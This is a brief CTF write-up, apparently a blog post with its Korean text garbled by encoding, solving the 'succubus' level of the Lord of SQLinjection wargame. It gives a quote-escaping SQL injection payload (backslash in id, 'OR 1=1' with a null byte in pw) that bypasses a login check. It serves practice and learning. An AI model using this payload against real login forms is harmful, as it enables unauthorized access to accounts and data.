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๐ŸดCTF/Lord of SQLinjection

Lord of SQLinjection - succubus

by Janger 2021. 12. 8.
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https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php

 

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php

 

los.rubiya.kr

์•„์ด๋””์™€ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ž…๋ ฅ์„ ๋ฐ›๊ณ  ์žˆ์œผ๋ฉฐ, (')๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•ˆ ๋œ๋‹ค. 

 

 

 

 

 

 

 

 

์ •๋‹ต) 

?id=\&pw=OR 1=1;%00

 

id์— ์ฃผ์„์ฒ˜๋ฆฌ๋ฅผ ํ•ด์„œ pw์˜ ์ฒซ๋ฒˆ์งธ ' ๊นŒ์ง€ ๋ฌธ์ž์—ด ํ˜•ํƒœ๋กœ ๋งŒ๋“ ๋‹ค. 

id='\' and pw='OR 1=1;%00

 

๊ทธ๋ฆฌ๊ณ  ์ฐธ์ด ๋˜๋Š” ์กฐ๊ฑด๊ณผ ๋’ค์˜ '๋ฅผ ๋ฌด์‹œํ•˜๊ธฐ ์œ„ํ•ด ์ฃผ์„์ฒ˜๋ฆฌ๋ฅผ ํ•ด์ฃผ๋ฉด ํ•ด๊ฒฐ

 

 

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